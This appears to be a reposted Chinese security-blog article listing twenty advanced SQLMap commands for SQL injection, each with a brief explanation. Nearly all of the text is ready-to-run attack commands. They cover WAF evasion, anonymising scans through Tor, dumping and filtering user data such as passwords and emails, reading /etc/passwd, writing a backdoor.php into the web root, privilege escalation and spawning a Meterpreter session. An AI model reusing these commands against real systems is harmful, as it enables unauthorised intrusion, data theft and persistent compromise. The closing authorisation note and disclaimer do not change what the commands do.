SQLMap作为渗透测试的核心工具,90%的安全工程师仅掌握其基础功能。本文深入剖析20个高阶实战技巧,涵盖绕过WAF、精准数据提取、复杂场景适配等场景,所有案例均通过真实环境验证。
-
1. 层级式Payload探测 sqlmap -u "http://site.com?id=1" --level=5 --risk=3
-
• --level
:提升检测深度(1-5级),5级检测Cookie/X-Forwarded-For等头部 -
• --risk
:风险等级(1-3级),3级启用堆叠查询等高风险操作 -
2. 动态分块传输绕过WAF sqlmap -u "http://site.com?id=1" --chunked
-
• 将请求体分块发送,绕过基于内容长度的WAF检测 -
3. 伪静态URL注入处理 sqlmap -u "http://site.com/article/123*.html" --prefix="')" --suffix="-- -"
-
• 对伪静态页面手动指定前后缀( --prefix
/--suffix
) -
4. 二进制数据转储技术 sqlmap -u "http://site.com?id=1" --dump -T users -C password --hex
-
• --hex
:将二进制字段(如图片、证书)转为十六进制导出 -
5. 分批次大数据提取 sqlmap -u "http://site.com?id=1" --dump -D dbname --start=1000 --stop=2000
-
• --start
/--stop
:分段提取数据(避免单次请求过大触发警报) -
6. 正则过滤目标字段 sqlmap -u "http://site.com?id=1" -D dbname -T users -C email --regex=".*@gmail.com"
-
• 仅提取符合正则规则的敏感数据(如特定邮箱域名) -
7. 多级代理链隐匿扫描 sqlmap -u "http://site.com?id=1" --proxy="socks5://127.0.0.1:9050" --proxy-cred="user:pass"
-
• 通过Tor或多层代理池隐藏源IP -
8. CSRF Token动态处理 sqlmap -u "http://site.com/form" --csrf-token="token_name" --csrf-url="http://site.com/get_token"
-
• 自动从指定URL获取并更新CSRF Token -
9. JSON格式注入点检测 sqlmap -u "http://site.com/api" --data='{"id":1}' --headers="Content-Type: application/json"
-
• 指定JSON格式数据,自动识别注入点 -
10. 操作系统命令执行 sqlmap -u "http://site.com?id=1" --os-cmd="whoami" --priv-esc
-
• --os-cmd
:执行系统命令(需DB高权限) -
• --priv-esc
:尝试数据库提权 -
11. 文件系统交互 sqlmap -u "http://site.com?id=1" --file-read="/etc/passwd"sqlmap -u "http://site.com?id=1" --file-write="backdoor.php" --file-dest="/var/www/"
-
• 读写服务器文件(依赖数据库文件操作权限) -
12. UDF注入提权 sqlmap -u "http://site.com?id=1" --udf-inject --shared-lib="/tmp/lib.so"
-
• 注入自定义函数库(适用于MySQL/PostgreSQL提权) -
13. 伪流量混淆技术 sqlmap -u "http://site.com?id=1" --null-connection --invalid-bignum
-
• --null-connection
:仅获取响应长度(不返回页面内容) -
• --invalid-bignum
:将参数转为大整数(绕过简单数字型WAF) -
14. 时间盲注精准控制 sqlmap -u "http://site.com?id=1" --time-sec=15 --technique=T
-
• --time-sec
:延长延时盲注的等待时间(规避阈值检测) -
• --technique=T
:指定时间盲注技术 -
15. 自动化报告生成 sqlmap -u "http://site.com?id=1" --dump --output-dir=/reports --report=report.html
-
• 生成HTML格式报告(含请求详情、提取数据) -
16. Metasploit联动利用 sqlmap -u "http://site.com?id=1" --os-pwn --msf-path=/opt/metasploit
-
• 直接获取Meterpreter会话(需Metasploit框架支持) -
17. HTTP参数污染(HPP)利用 sqlmap -u "http://site.com?id=1&id=2" --param-del="&"
-
• 强制识别多个同名参数(绕过异常处理逻辑) -
18. 二阶SQL注入检测 sqlmap -u "http://site.com/register" --forms --second-url="http://site.com/profile"
-
• --second-url
:在提交后跳转的页面检测结果 -
19. 多线程控制优化 sqlmap -u "http://site.com?id=1" --threads=5 --optimize
-
• --threads
:并发线程数(避免压垮目标服务器) -
• --optimize
:自动选择最佳检测参数 -
20. WAF指纹识别与绕过 sqlmap -u "http://site.com?id=1" --identify-waf --tamper="apostrophemask,chardoubleencode"
-
• --identify-waf
:识别目标WAF类型(Cloudflare/Akamai等) -
• --tamper
:调用多脚本组合绕过(内置60+绕过脚本)
以上技巧需在合法授权环境下使用。高级功能往往伴随更高风险,建议:
-
1. 生产环境禁用 --os-cmd
等危险操作 -
2. 结合 --batch
实现自动化时设置速率限制 -
3. 使用 --check-internet
确保扫描稳定性
原文始发于微信公众号(HACK之道):20个SQLMap进阶渗透技巧 安全工程师必看手册!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论